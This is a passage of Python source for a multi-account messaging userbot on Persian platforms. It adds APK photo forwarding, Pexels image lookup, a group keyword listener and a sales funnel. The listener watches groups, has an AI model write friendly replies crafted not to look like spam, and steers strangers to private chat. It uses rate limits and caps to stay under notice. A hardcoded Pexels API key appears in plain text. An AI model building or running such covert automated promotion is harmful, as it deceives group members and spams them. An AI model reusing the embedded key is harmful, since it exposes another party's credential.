        ok, info = await _trx_tts_send(client, platform, peer, voice_bytes)
        if ok:
            _voice_quota_increment(uid, aid, platform, peer)
        remaining = _voice_quota_remaining(uid, aid, platform, peer)
        _LOG_INFO(f"[PATCH][voice] uid={uid} aid={aid} plat={platform} peer={peer} "
                  f"remaining={remaining} sent={'OK' if ok else 'FAIL'}")
    except Exception as e:
        _LOG_WARN(f"[PATCH][voice] maybe_send: {_mask(str(e))}")


# ═══════════════════════════════════════════════════════════════════════════
# 10) FEATURE #6 — APK GALLERY (photos)
# ═══════════════════════════════════════════════════════════════════════════

GALLERY_PREFIX = "apkgallery."
GALLERY_MAX_PHOTOS = 2
GALLERY_MAX_FORWARDS_PER_PEER = 2


def _gallery_get_photos(uid, aid, platform):
    try:
        rows = _DB().fetchall(
            "SELECT * FROM trx_apk_gallery "
            "WHERE user_id=? AND account_id=? AND platform=? ORDER BY photo_index ASC",
            (int(uid), int(aid), str(platform)),
        )
        return [dict(r) for r in rows]
    except Exception:
        return []


def _gallery_forward_count(uid, aid, platform, peer_id):
    try:
        row = _DB().fetchone(
            "SELECT forward_count FROM trx_apk_gallery_quota "
            "WHERE user_id=? AND account_id=? AND platform=? AND peer_id=?",
            (int(uid), int(aid), str(platform), str(peer_id)),
        )
        return int(row["forward_count"] or 0) if row else 0
    except Exception:
        return 0


def _gallery_increment(uid, aid, platform, peer_id):
    try:
        stamp = trx.now()
        _DB().execute(
            "INSERT INTO trx_apk_gallery_quota("
            "user_id,account_id,platform,peer_id,forward_count,last_sent_at,created_at"
            ") VALUES(?,?,?,?,1,?,?) "
            "ON CONFLICT(user_id,account_id,platform,peer_id) "
            "DO UPDATE SET forward_count=forward_count+1, last_sent_at=excluded.last_sent_at",
            (int(uid), int(aid), str(platform), str(peer_id), stamp, stamp),
        )
    except Exception:
        pass


async def _gallery_save_photo(uid, aid, platform, photo_index, photo_link):
    try:
        ok_link, err, mid, hint = trx._trx01_validate_apk_link(platform, photo_link)
    except Exception as e:
        return False, f"validate error: {e}", None
    if not ok_link:
        return False, err or "لینک نامعتبر", None
    if int(photo_index) > GALLERY_MAX_PHOTOS:
        return False, f"حداکثر {GALLERY_MAX_PHOTOS} عکس مجاز است.", None

    client = trx.ai_live_clients.get((uid, aid))
    if client is None:
        try:
            client = await trx._ensure_ai_client(uid, aid)
        except Exception:
            client = None
    if client is None:
        return False, "اکانت در دسترس نیست.", None

    # Read source message to verify it has a photo
    try:
        if hasattr(client, "get_messages_by_id"):
            resp = client.get_messages_by_id(hint, [mid])
            resp = await _awaitable(resp)
            msgs = getattr(resp, "messages", None) or (resp if isinstance(resp, list) else [resp])
            msg = msgs[0] if msgs else None
        elif hasattr(client, "get_messages"):
            resp = client.get_messages(hint, ids=[mid])
            resp = await _awaitable(resp)
            msg = resp[0] if isinstance(resp, list) and resp else resp
        else:
            msg = None
    except Exception as e:
        return False, f"خطای خواندن پیام: {_mask(str(e))[:200]}", None

    # Verify photo presence if possible (loose check)
    has_photo = False
    if msg is not None:
        if getattr(msg, "photo", None):
            has_photo = True
        elif getattr(msg, "media", None):
            has_photo = True
        elif isinstance(msg, dict) and (msg.get("photo") or msg.get("media")):
            has_photo = True
    if not has_photo:
        return False, "پیام منبع عکس ندارد.", None

    source_peer = str(hint or "")
    source_id = str(mid)
    try:
        _DB().execute(
            "INSERT OR REPLACE INTO trx_apk_gallery("
            "user_id,account_id,platform,photo_index,source_peer,source_message_id,photo_link,created_at"
            ") VALUES(?,?,?,?,?,?,?,?)",
            (int(uid), int(aid), str(platform), int(photo_index),
             source_peer, source_id, str(photo_link), trx.now()),
        )
    except Exception as e:
        return False, f"DB error: {_mask(str(e))[:200]}", None
    row = {
        "user_id": int(uid), "account_id": int(aid), "platform": str(platform),
        "photo_index": int(photo_index), "source_peer": source_peer,
        "source_message_id": source_id, "photo_link": str(photo_link),
    }
    return True, "ثبت شد", row


async def _gallery_do_forward(client, platform, photo_row, dest):
    source_peer = str(photo_row.get("source_peer") or "")
    source_id = str(photo_row.get("source_message_id") or "")
    return await _apkfix_do_forward(client, source_peer, source_id, dest, platform)


def _gallery_should_send(uid, aid, platform, peer_id, user_text):
    photos = _gallery_get_photos(uid, aid, platform)
    if not photos:
        return False
    count = _gallery_forward_count(uid, aid, platform, peer_id)
    if count >= GALLERY_MAX_FORWARDS_PER_PEER:
        return False
    lower = str(user_text or "").lower()
    intents = ("عکس", "تصویر", "اسکرین", "screenshot", "image", "photo",
               "نگا", "ببین", "نشونم", "عکس بده")
    if any(k in lower for k in intents):
        return True
    if count == 0 and random.random() < 0.7:
        return True
    return False


def _gallery_pick_photo(photos):
    if not photos:
        return None
    if len(photos) <= 2:
        return random.choice(photos)
    if random.random() < 0.9:
        return random.choice(photos[:2])
    return random.choice(photos[2:])


async def _gallery_describe(uid, aid, platform, photo_row, user_text):
    try:
        sys_prompt = _ai_system(uid, aid, "gallery_describe", "")
        prompt = (
            "یه توضیح کوتاه ۱-۲ خطی درباره این عکس از برنامه بنویس. "
            "طبیعی و دوستانه. اسم برنامه و قابلیت‌ها رو با توجه به دانش محصول توضیح بده. "
            "به خود عکس اشاره نکن که چیه."
        )
        reply = await _AI().chat(
            [{"role": "system", "content": sys_prompt},
             {"role": "user", "content": prompt}],
            uid=uid, account_id=aid,
            action_type="gallery_describe", temperature=0.85, max_tokens=180,
        )
        return _cleanup_caption(reply) or "این یه نگاه از برنامه‌ست 👌"
    except Exception:
        return "این یه نگاه از برنامه‌ست 👌"


async def _gallery_maybe_send(uid, aid, platform, peer_id, user_text, client):
    try:
        if not _gallery_should_send(uid, aid, platform, peer_id, user_text):
            return False
        photos = _gallery_get_photos(uid, aid, platform)
        if not photos:
            return False
        photo = _gallery_pick_photo(photos)
        if not photo:
            return False
        if client is None:
            return False
        ok, info = await _gallery_do_forward(client, platform, photo, peer_id)
        if not ok:
            _LOG_WARN(f"[PATCH][gallery] forward failed: {_mask(str(info))[:200]}")
            return False
        _gallery_increment(uid, aid, platform, peer_id)
        try:
            desc = await _gallery_describe(uid, aid, platform, photo, user_text)
            send = getattr(client, "send_message", None)
            if callable(send) and desc:
                res = send(peer_id, desc)
                if asyncio.iscoroutine(res):
                    await res
        except Exception:
            pass
        _LOG_INFO(f"[PATCH][gallery] uid={uid} aid={aid} plat={platform} peer={peer_id} "
                  f"idx={photo.get('photo_index')} sent=OK")
        return True
    except Exception as e:
        _LOG_WARN(f"[PATCH][gallery] maybe_send: {_mask(str(e))}")
        return False


async def _gallery_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if not data_s.startswith(GALLERY_PREFIX):
        return None

    await _safe_answer(cb_id)

    try:
        if data_s == f"{GALLERY_PREFIX}start":
            trx.state.pop(uid)
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.menu("گالری APK", ["اول پلتفرم رو انتخاب کن"]),
                _IKB([
                    [("🔵 روبیکا", f"{GALLERY_PREFIX}plat:rubika", "primary"),
                     ("🔴 سروش پلاس", f"{GALLERY_PREFIX}plat:soroush", "danger")],
                    [("🟡 بله", f"{GALLERY_PREFIX}plat:bale", "primary"),
                     ("🟦 تلگرام", f"{GALLERY_PREFIX}plat:telegram", "primary")],
                    [("🟩 شاد", f"{GALLERY_PREFIX}plat:shad", "success")],
                    [("↩️ بازگشت", "ai", "primary")],
                ]),
            )

        if data_s.startswith(f"{GALLERY_PREFIX}plat:"):
            plat = data_s.split(":", 1)[1]
            if plat not in ALL_PLATFORMS:
                return await _safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.",
                                        trx.ai_advanced_menu(lang, uid))
            rows = _DB().fetchall(
                "SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",
                (uid, plat),
            )
            btns = []
            for r in rows:
                pm = trx._mask_phone(r["phone"]) if r["phone"] else "—"
                btns.append([(f"#{r['id']} — {pm}",
                              f"{GALLERY_PREFIX}acc:{r['id']}:{plat}", "primary")])
            if not btns:
                btns.append([("❌ اکانت فعالی نداری", "ai", "danger")])
            else:
                btns.append([("↩️ بازگشت", f"{GALLERY_PREFIX}start", "primary")])
            return await _safe_edit(chat_id, msg_id,
                                    TRX_UI_STYLE.menu(f"اکانت {_platform_label(plat, lang)}",
                                                      ["یکی رو انتخاب کن"]),
                                    _IKB(btns))

        if data_s.startswith(f"{GALLERY_PREFIX}acc:"):
            parts = data_s.split(":")
            if len(parts) < 4:
                return None
            try:
                aid = int(parts[2])
            except Exception:
                return None
            plat = parts[3]
            ctx = _account_context(uid, aid, plat)
            if not ctx:
                trx.state.pop(uid)
                return await _safe_edit(chat_id, msg_id,
                                        "❌ اکانت با پلتفرم هم‌خوانی نداره.",
                                        trx.ai_advanced_menu(lang, uid))
            trx.state.pop(uid)
            trx.state.set(uid, "apkgallery_link1",
                          account_id=aid, platform=plat)
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.wizard(
                    "گالری APK", "مرحله ۱ از ۲",
                    f"تا {GALLERY_MAX_PHOTOS} عکس از برنامه رو توی کانال آپلود کن، "
                    "لینک مستقیم عکس اول رو بفرست.",
                    "بعد از ثبت، لینک دوم رو بفرست یا /done بزن",
                ),
                _IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if data_s == f"{GALLERY_PREFIX}status":
            photos = _gallery_get_photos(uid, 0, "")  # noop
            return None  # handled by state

        if data_s.startswith(f"{GALLERY_PREFIX}remove:"):
            idx = int(data_s.split(":", 1)[1])
            try:
                _DB().execute(
                    "DELETE FROM trx_apk_gallery WHERE user_id=? AND photo_index=?",
                    (uid, idx),
                )
            except Exception:
                pass
            return await _safe_edit(chat_id, msg_id, "✓ حذف شد.",
                                    trx.ai_advanced_menu(lang, uid))

        if data_s == f"{GALLERY_PREFIX}cancel":
            trx.state.pop(uid)
            return await _safe_edit(chat_id, msg_id, "❌ لغو شد.",
                                    trx.ai_advanced_menu(lang, uid))
    except Exception as e:
        _LOG_ERR(f"[PATCH][gallery] dispatch: {_mask(str(e))}")
        try:
            trx.state.pop(uid)
        except Exception:
            pass
    return None


async def _gallery_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if not uid or not txt:
        return None
    s = trx.state.get(uid)
    if not s:
        return None
    st = s.get("state")
    if st not in ("apkgallery_link1", "apkgallery_link2"):
        return None

    if txt == "/done":
        trx.state.pop(uid)
        return await _BOT().send(chat_id, "✓ گالری ذخیره شد.",
                                 reply_markup=trx.ai_advanced_menu(trx.get_lang(uid), uid))

    try:
        idx = 1 if st == "apkgallery_link1" else 2
        ok, info, row = await _gallery_save_photo(
            uid, int(s["account_id"]), s["platform"], idx, txt
        )
        if not ok:
            return await _BOT().send(chat_id, f"❌ {info}")
        if idx == 1:
            trx.state.set(uid, "apkgallery_link2",
                          account_id=s["account_id"], platform=s["platform"])
            return await _BOT().send(
                chat_id,
                "✓ عکس اول ثبت شد.\n" + TRX_UI_STYLE.wizard(
                    "گالری APK", "مرحله ۲ از ۲",
                    "اگه عکس دوم هم داری لینکش رو بفرست، وگرنه /done بزن.",
                    "حداکثر ۲ عکس",
                ),
                reply_markup=_IKB([[("❌ لغو", "cancel", "danger")]]),
            )
        else:
            trx.state.pop(uid)
            return await _BOT().send(chat_id, "✓ گالری کامل شد.",
                                     reply_markup=trx.ai_advanced_menu(trx.get_lang(uid), uid))
    except Exception as e:
        _LOG_ERR(f"[PATCH][gallery] on_msg: {_mask(str(e))}")
        trx.state.pop(uid)
        return await _BOT().send(chat_id, "⚠️ خطا.")


# ═══════════════════════════════════════════════════════════════════════════
# 11) FEATURE #8 — PEXELS IMPROVEMENTS
# ═══════════════════════════════════════════════════════════════════════════

_PEXELS_RATE_LOCK = None
_PEXELS_LAST = 0.0
_PEXELS_CACHE = {}
_PEXELS_CACHE_TTL = 6 * 3600  # 6 hours
PEXELS_API_KEY_PATCH = getattr(trx, "PEXELS_API_KEY", "") or "11RzZCATfZNUcSNbOinyXDo3xF7pcrukFuRorIm5BWaCatgkCS1a0q0z"


async def _patch_pexels_search(query, orientation="landscape", per_page=5):
    global _PEXELS_RATE_LOCK, _PEXELS_LAST
    try:
        if _PEXELS_RATE_LOCK is None:
            _PEXELS_RATE_LOCK = asyncio.Lock()
    except Exception:
        pass

    q = str(query or "").strip()
    if not q:
        return None
    cache_key = hashlib.md5(q.lower().encode("utf-8")).hexdigest()
    hit = _PEXELS_CACHE.get(cache_key)
    if hit and (time.time() - hit["ts"]) < _PEXELS_CACHE_TTL:
        return hit["url"]

    async def _one_search(search_q):
        global _PEXELS_LAST
        try:
            await _AI().start()
        except Exception:
            return None
        headers = {"Authorization": PEXELS_API_KEY_PATCH}
        params = {"query": search_q[:80], "orientation": orientation,
                  "per_page": max(1, min(int(per_page), 80)),
                  "size": "medium", "locale": "en-US"}
        try:
            async with _AI().session.get(
                "https://api.pexels.com/v1/search",
                headers=headers, params=params,
                timeout=15,
            ) as resp:
                if resp.status != 200:
                    return None
                data = json.loads(await resp.text())
        except Exception:
            return None
        photos = data.get("photos") or []
        if not photos:
            return None
        src = photos[0].get("src") or {}
        return src.get("medium") or src.get("large") or src.get("original")

    queries = [q, "mobile application", "smartphone"]
    for attempt_q in queries:
        try:
            async with _PEXELS_RATE_LOCK:
                wait = 2.0 - (time.time() - _PEXELS_LAST)
                if wait > 0:
                    await asyncio.sleep(wait)
                _PEXELS_LAST = time.time()
                url = await _one_search(attempt_q)
            if url:
                _PEXELS_CACHE[cache_key] = {"url": url, "ts": time.time()}
                return url
        except Exception:
            continue
    return None


async def _patch_extract_image_keyword(uid, aid, apk_info):
    apk_name = str(apk_info.get("file_name") or apk_info.get("filename") or "application")
    description = str(apk_info.get("description") or "")
    kb = ""
    try:
        kb = trx._trx_ai_get_kb(uid)[:1500]
    except Exception:
        pass
    try:
        prompt = (
            "Generate ONLY a short English Pexels search query (2 to 6 words) describing "
            "the visual theme of this Android application. Do not return Persian, quotes, "
            "punctuation or explanations.\n\n"
            f"APK name: {apk_name}\n"
            f"Description: {description[:800]}\n"
            f"Product knowledge: {kb}\n"
        )
        result = await _AI().chat(
            [{"role": "system", "content": "Return only an English 2-6 word visual search query."},
             {"role": "user", "content": prompt}],
            uid=uid, account_id=aid, action_type="image_keyword",
            temperature=0.3, max_tokens=30,
        )
        kw = str(result or "").strip().split("\n")[0].strip('"\'')
        kw = re.sub(r"[^A-Za-z0-9\s\-]", "", kw)
        kw = " ".join(kw.split())
        if kw and not re.search(r"[\u0600-\u06ff]", kw):
            return kw[:80]
    except Exception:
        pass
    cleaned = re.sub(r"\.apk$", "", apk_name, flags=re.I)
    cleaned = re.sub(r"[_\-.]+", " ", cleaned)
    cleaned = re.sub(r"[^A-Za-z0-9\s]", " ", cleaned)
    words = [w for w in cleaned.split() if w][:6]
    return " ".join(words) or "mobile application"


async def _patch_send_image_to_target(client, target, image_url, caption=""):
    if not image_url:
        return False, "no url"
    if len(str(caption or "")) > 1024:
        caption_long = caption
        caption = ""
    else:
        caption_long = None

    dest = await _resolve_target(client, target)

    # 1. Try send_photo with URL
    send_photo = getattr(client, "send_photo", None)
    if callable(send_photo):
        try:
            r = send_photo(dest, image_url)
            if asyncio.iscoroutine(r):
                await r
            if caption:
                send = getattr(client, "send_message", None)
                if callable(send):
                    rr = send(dest, caption)
                    if asyncio.iscoroutine(rr):
                        await rr
            return True, "send_photo"
        except Exception:
            pass

    # 2. Download and send
    try:
        import aiohttp
        await _AI().start()
        async with _AI().session.get(image_url, timeout=20) as resp:
            if resp.status != 200:
                return False, f"download HTTP {resp.status}"
            data = await resp.read()
        buf = io.BytesIO(data)
        buf.name = "image.jpg"
    except Exception as e:
        return False, f"download: {_mask(str(e))[:100]}"

    # 3. Try send_file
    send_file = getattr(client, "send_file", None)
    if callable(send_file):
        try:
            r = send_file(dest, buf)
            if asyncio.iscoroutine(r):
                await r
            if caption:
                send = getattr(client, "send_message", None)
                if callable(send):
                    rr = send(dest, caption)
                    if asyncio.iscoroutine(rr):
                        await rr
            return True, "send_file"
        except Exception:
            pass
        try:
            buf.seek(0)
            r = send_file(dest, buf, caption=caption[:1024])
            if asyncio.iscoroutine(r):
                await r
            return True, "send_file+caption"
        except Exception:
            pass

    # 4. Try send_message with file_inline
    send_message = getattr(client, "send_message", None)
    if callable(send_message):
        try:
            buf.seek(0)
            r = send_message(dest, "", file_inline=buf, type="File")
            if asyncio.iscoroutine(r):
                await r
            return True, "send_message file_inline"
        except Exception:
            pass

    return False, "no method matched"


# ═══════════════════════════════════════════════════════════════════════════
# 12) FEATURE #9 — KEYWORD LISTENER + SMART GROUP REPLY
# ═══════════════════════════════════════════════════════════════════════════

KWL_PREFIX = "kwl."


async def _kwl_should_reply(uid, aid, platform, group_id, sender_id, message_text):
    try:
        if not sender_id:
            return False, ""
        # 1. self check
        own_id = trx.active_clients.get(uid, {}).get("account_id")
        if own_id and str(sender_id) == str(aid):
            return False, ""
        # 2. short message
        words = str(message_text or "").split()
        if len(words) < 3:
            return False, ""
        # 3. only emoji
        stripped = re.sub(r"[\U0001F300-\U0001FAFF\U00002600-\U000027BF\s]+", "", str(message_text or ""))
        if not stripped:
            return False, ""
        # 4. group config
        cfg = _DB().fetchone(
            "SELECT * FROM trx_keyword_listener WHERE user_id=? AND account_id=? AND platform=? AND group_id=?",
            (uid, aid, platform, str(group_id)),
        )
        if not cfg or not cfg["enabled"]:
            return False, ""
        cooldown = int(cfg["reply_cooldown"] or 300)
        cap = int(cfg["daily_reply_cap"] or 10)
        last = cfg["last_reply_at"]
        if last:
            try:
                last_ts = datetime.fromisoformat(str(last))
                if (datetime.utcnow() - last_ts).total_seconds() < cooldown:
                    return False, ""
            except Exception:
                pass
        # daily cap
        since = (datetime.utcnow() - timedelta(hours=24)).isoformat()
        try:
            used = _DB().fetchone(
                "SELECT COUNT(*) c FROM trx_keyword_reply_log "
                "WHERE user_id=? AND account_id=? AND group_id=? AND created_at>? AND success=1",
                (uid, aid, str(group_id), since),
            )["c"]
        except Exception:
            used = 0
        if used >= cap:
            return False, ""
        # per-peer 1 per 24h
        try:
            same = _DB().fetchone(
                "SELECT COUNT(*) c FROM trx_keyword_reply_log "
                "WHERE user_id=? AND account_id=? AND peer_id=? AND created_at>? AND success=1",
                (uid, aid, str(sender_id), since),
            )["c"]
        except Exception:
            same = 0
        if same >= 1:
            return False, ""
        # 5. AI relevance check
        try:
            kb = trx._trx_ai_get_kb(uid)[:1500]
            sys_prompt = ("You decide if a group message is relevant to the seller's product. "
                           "Return STRICT JSON: {\"relevant\": \"yes\"|\"no\", \"keyword\": \"...\"}. "
                           "No other text.")
            user_msg = f"Product knowledge:\n{kb}\n\nMessage: {message_text[:500]}"
            reply = await _AI().chat(
                [{"role": "system", "content": sys_prompt},
                 {"role": "user", "content": user_msg}],
                uid=uid, account_id=aid, action_type="kwl_detect",
                temperature=0.1, max_tokens=80,
            )
            data = json.loads(re.search(r"\{.*\}", reply or "", re.S).group(0))
            if str(data.get("relevant", "no")).lower() != "yes":
                return False, ""
            return True, str(data.get("keyword", ""))[:80]
        except Exception:
            return False, ""
    except Exception as e:
        _LOG_WARN(f"[PATCH][kwl] should_reply: {_mask(str(e))}")
        return False, ""


async def _kwl_generate_reply(uid, aid, platform, peer_id, message_text, keyword, sender_name):
    try:
        sys_prompt = _ai_system(
            uid, aid, "kwl_group_reply",
            f"Sender: {sender_name or peer_id}. Keyword: {keyword}. "
            "Reply naturally in the group, don't hard-sell. "
            "Invite them to PV if they're interested. Max 3-4 lines."
        )
        prompt = (f"پیام کاربر توی گروه:\n{message_text}\n\n"
                  "یک ریپلای طبیعی و رفیقانه بنویس. "
                  "لحن اسپم نباشه. آخرش کاربر رو به پیوی دعوت کن.")
        reply = await _AI().chat(
            [{"role": "system", "content": sys_prompt},
             {"role": "user", "content": prompt}],
            uid=uid, account_id=aid,
            action_type="kwl_reply", temperature=0.85, max_tokens=250,
        )
        return _cleanup_caption(reply)
    except Exception:
        return ""


async def _kwl_do_reply(client, platform, group_id, message_id, sender_id, reply_text):
    variants = [
        ("send_message", (group_id, reply_text), {"reply_to_message_id": message_id}),
        ("send_message", (group_id, reply_text), {"reply_to": message_id}),
        ("send_message", (group_id, reply_text), {"reply_to_msg_id": message_id}),
        ("send_message", (group_id, reply_text), {}),
    ]
    for name, args, kwargs in variants:
        fn = getattr(client, name, None)
        if not callable(fn):
            continue
        try:
            r = fn(*args, **kwargs)
            if asyncio.iscoroutine(r):
                await r
            return True
        except TypeError:
            continue
        except Exception:
            continue
    return False


async def _group_should_ai_reply(uid, aid, platform, group_id, sender_id,
                                 message_text, is_reply_to_me, is_mention):
    txt = str(message_text or "").strip().lower()
    # Hard reject
    hard_reject = [
        r"^\d+\s*[\+\-\*/]\s*\d+",
        r"حساب کن", r"جواب این معادله",
        r"امروز چندمه", r"ساعت چنده", r"هوا چطوره",
        r"^(تست|تست کن|فعالی|هستی)\??$",
        r"^(سلام|خوبی)\??$",
    ]
    for pat in hard_reject:
        if re.search(pat, txt):
            return False, "hard_reject"
    if len(txt.split()) < 3:
        return False, "too_short"
    if not is_reply_to_me and not is_mention:
        return False, "no_direct"
    # AI relevance
    try:
        kb = trx._trx_ai_get_kb(uid)[:1200]
        sys = ("Decide if this message is relevant to the product. "
               "Return strict JSON: {\"quality\": \"high\"|\"medium\"|\"low\"}. No other text.")
        user = f"Product knowledge:\n{kb}\n\nMessage: {message_text[:500]}"
        r = await _AI().chat(
            [{"role": "system", "content": sys}, {"role": "user", "content": user}],
            uid=uid, account_id=aid, action_type="group_quality",
            temperature=0.1, max_tokens=50,
        )
        data = json.loads(re.search(r"\{.*\}", r or "", re.S).group(0))
        q = str(data.get("quality", "low")).lower()
        return (q in ("high", "medium")), q
    except Exception:
        return False, "ai_fail"


async def _kwl_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if not data_s.startswith(KWL_PREFIX):
        return None

    await _safe_answer(cb_id)

    try:
        if data_s == f"{KWL_PREFIX}start":
            trx.state.pop(uid)
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.menu("رصد کلمات کلیدی", ["اول پلتفرم رو انتخاب کن"]),
                _IKB([
                    [("🔵 روبیکا", f"{KWL_PREFIX}plat:rubika", "primary"),
                     ("🔴 سروش پلاس", f"{KWL_PREFIX}plat:soroush", "danger")],
                    [("🟡 بله", f"{KWL_PREFIX}plat:bale", "primary"),
                     ("🟦 تلگرام", f"{KWL_PREFIX}plat:telegram", "primary")],
                    [("🟩 شاد", f"{KWL_PREFIX}plat:shad", "success")],
                    [("↩️ بازگشت", "ai", "primary")],
                ]),
            )

        if data_s.startswith(f"{KWL_PREFIX}plat:"):
            plat = data_s.split(":", 1)[1]
            if plat not in ALL_PLATFORMS:
                return None
            rows = _DB().fetchall(
                "SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",
                (uid, plat),
            )
            btns = [[(f"#{r['id']} — {trx._mask_phone(r['phone']) if r['phone'] else '—'}",
                      f"{KWL_PREFIX}acc:{r['id']}:{plat}", "primary")] for r in rows]
            if not btns:
                btns.append([("❌ اکانت فعالی نداری", "ai", "danger")])
            else:
                btns.append([("↩️ بازگشت", f"{KWL_PREFIX}start", "primary")])
            return await _safe_edit(chat_id, msg_id,
                                    TRX_UI_STYLE.menu(f"اکانت {_platform_label(plat, lang)}",
                                                      ["یکی رو انتخاب کن"]),
                                    _IKB(btns))

        if data_s.startswith(f"{KWL_PREFIX}acc:"):
            parts = data_s.split(":")
            try:
                aid = int(parts[2])
            except Exception:
                return None
            plat = parts[3]
            ctx = _account_context(uid, aid, plat)
            if not ctx:
                return None
            try:
                _DB().execute(
                    "INSERT OR IGNORE INTO trx_keyword_listener("
                    "user_id,account_id,platform,group_id,enabled,scan_enabled,"
                    "reply_cooldown,daily_reply_cap,created_at) "
                    "VALUES(?,?,?,?,0,1,300,10,?)",
                    (uid, aid, plat, "__all__", trx.now()),
                )
            except Exception:
                pass
            cfg = _DB().fetchone(
                "SELECT * FROM trx_keyword_listener "
                "WHERE user_id=? AND account_id=? AND platform=? AND group_id='__all__'",
                (uid, aid, plat),
            )
            status = "🟢 فعال" if cfg and cfg["enabled"] else "🔴 خاموش"
            cooldown = cfg["reply_cooldown"] if cfg else 300
            cap = cfg["daily_reply_cap"] if cfg else 10
            groups_count = _DB().fetchone(
                "SELECT COUNT(*) c FROM trx_keyword_listener "
                "WHERE user_id=? AND account_id=? AND platform=? AND group_id<>'__all__'",
                (uid, aid, plat),
            )["c"]
            text = TRX_UI_STYLE.menu(
                "رصد کلمات کلیدی",
                [f"پلتفرم: {_platform_label(plat, lang)}",
                 f"اکانت: #{aid} — {trx._mask_phone(ctx['phone'])}",
                 f"وضعیت: {status}",
                 f"گروه‌ها: {groups_count}",
                 f"Cooldown: {cooldown}s",
                 f"سقف روز: {cap}"],
                "با روشن کردن، ربات توی گروه‌های این اکانت کلمات مرتبط رو شکار می‌کنه",
            )
            btn_toggle = (("🔴 خاموش کردن", f"{KWL_PREFIX}disable", "danger")
                          if cfg and cfg["enabled"]
                          else ("🟢 فعال کردن", f"{KWL_PREFIX}enable", "success"))
            trx.state.set(uid, "kwl_ready",
                          account_id=aid, platform=plat)
            return await _safe_edit(chat_id, msg_id, text, _IKB([
                [btn_toggle],
                [("⚙️ تنظیمات", f"{KWL_PREFIX}settings", "primary")],
                [("📋 گروه‌ها", f"{KWL_PREFIX}groups", "primary")],
                [("↩️ بازگشت", f"{KWL_PREFIX}start", "primary")],
            ]))

        if data_s in (f"{KWL_PREFIX}enable", f"{KWL_PREFIX}disable"):
            s = trx.state.get(uid)
            if not s or s.get("state") != "kwl_ready":
                return None
            aid = int(s["account_id"])
            plat = s["platform"]
            new_val = 1 if data_s.endswith("enable") else 0
            _DB().execute(
                "UPDATE trx_keyword_listener SET enabled=? "
                "WHERE user_id=? AND account_id=? AND platform=? AND group_id='__all__'",
                (new_val, uid, aid, plat),
            )
            return await _safe_edit(chat_id, msg_id,
                                    "✓ وضعیت تغییر کرد.",
                                    trx.ai_advanced_menu(lang, uid))

        if data_s == f"{KWL_PREFIX}settings":
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.menu("تنظیمات رصد", ["Cooldown و سقف روز رو تنظیم کن"]),
                _IKB([
                    [("60s", f"{KWL_PREFIX}set.cool:60", "primary"),
                     ("120s", f"{KWL_PREFIX}set.cool:120", "primary"),
                     ("300s", f"{KWL_PREFIX}set.cool:300", "primary")],
                    [("600s", f"{KWL_PREFIX}set.cool:600", "primary"),
                     ("1800s", f"{KWL_PREFIX}set.cool:1800", "primary")],
                    [("سقف 5", f"{KWL_PREFIX}set.cap:5", "primary"),
                     ("سقف 10", f"{KWL_PREFIX}set.cap:10", "primary"),
                     ("سقف 20", f"{KWL_PREFIX}set.cap:20", "primary")],
                    [("سقف 50", f"{KWL_PREFIX}set.cap:50", "primary"),
                     ("سقف 100", f"{KWL_PREFIX}set.cap:100", "primary")],
                    [("↩️ بازگشت", f"{KWL_PREFIX}start", "primary")],
                ]),
            )

        if data_s.startswith(f"{KWL_PREFIX}set.cool:"):
            val = int(data_s.split(":", 1)[1])
            s = trx.state.get(uid)
            if s:
                _DB().execute(
                    "UPDATE trx_keyword_listener SET reply_cooldown=? "
                    "WHERE user_id=? AND account_id=? AND platform=? AND group_id='__all__'",
                    (val, uid, int(s["account_id"]), s["platform"]),
                )
            return await _safe_edit(chat_id, msg_id, f"✓ Cooldown = {val}s",
                                    trx.ai_advanced_menu(lang, uid))

        if data_s.startswith(f"{KWL_PREFIX}set.cap:"):
            val = int(data_s.split(":", 1)[1])
            s = trx.state.get(uid)
            if s:
                _DB().execute(
                    "UPDATE trx_keyword_listener SET daily_reply_cap=? "
                    "WHERE user_id=? AND account_id=? AND platform=? AND group_id='__all__'",
                    (val, uid, int(s["account_id"]), s["platform"]),
                )
            return await _safe_edit(chat_id, msg_id, f"✓ سقف = {val}",
                                    trx.ai_advanced_menu(lang, uid))

        if data_s == f"{KWL_PREFIX}groups":
            s = trx.state.get(uid)
            aid = int(s["account_id"]) if s else 0
            plat = s["platform"] if s else "rubika"
            rows = _DB().fetchall(
                "SELECT group_id, enabled FROM trx_keyword_listener "
                "WHERE user_id=? AND account_id=? AND platform=? AND group_id<>'__all__' LIMIT 20",
                (uid, aid, plat),
            )
            lines = [f"◈ {r['group_id']} — {'✓' if r['enabled'] else '🔴'}" for r in rows]
            if not lines:
                lines = ["هنوز گروهی شناسایی نشده. ربات وقتی پیامی از گروهی بگیره خودش ثبتش می‌کنه."]
            return await _safe_edit(chat_id, msg_id,
                                    TRX_UI_STYLE.menu("گروه‌های رصد شده", lines),
                                    _IKB([[("↩️ بازگشت", f"{KWL_PREFIX}start", "primary")]]))
    except Exception as e:
        _LOG_ERR(f"[PATCH][kwl] dispatch: {_mask(str(e))}")
    return None


# ═══════════════════════════════════════════════════════════════════════════
# 13) FEATURE #10 — SALES FUNNEL
# ═══════════════════════════════════════════════════════════════════════════

FUNNEL_STAGES = ("NEW_LEAD", "INTERESTED", "EVALUATING", "NEGOTIATING",
                 "CUSTOMER", "ADVOCATE", "LOST")


def _funnel_get(uid, aid, platform, peer_id):
    try:
        row = _DB().fetchone(
            "SELECT * FROM trx_sales_funnel "
            "WHERE user_id=? AND account_id=? AND platform=? AND peer_id=?",
            (uid, aid, platform, str(peer_id)),
        )
        if row:
            return row["stage"], dict(row)
    except Exception:
        pass
    return "NEW_LEAD", None


def _funnel_set(uid, aid, platform, peer_id, new_stage, reason=""):
    try:
        stamp = trx.now()
        _DB().execute(
            "INSERT INTO trx_sales_funnel("
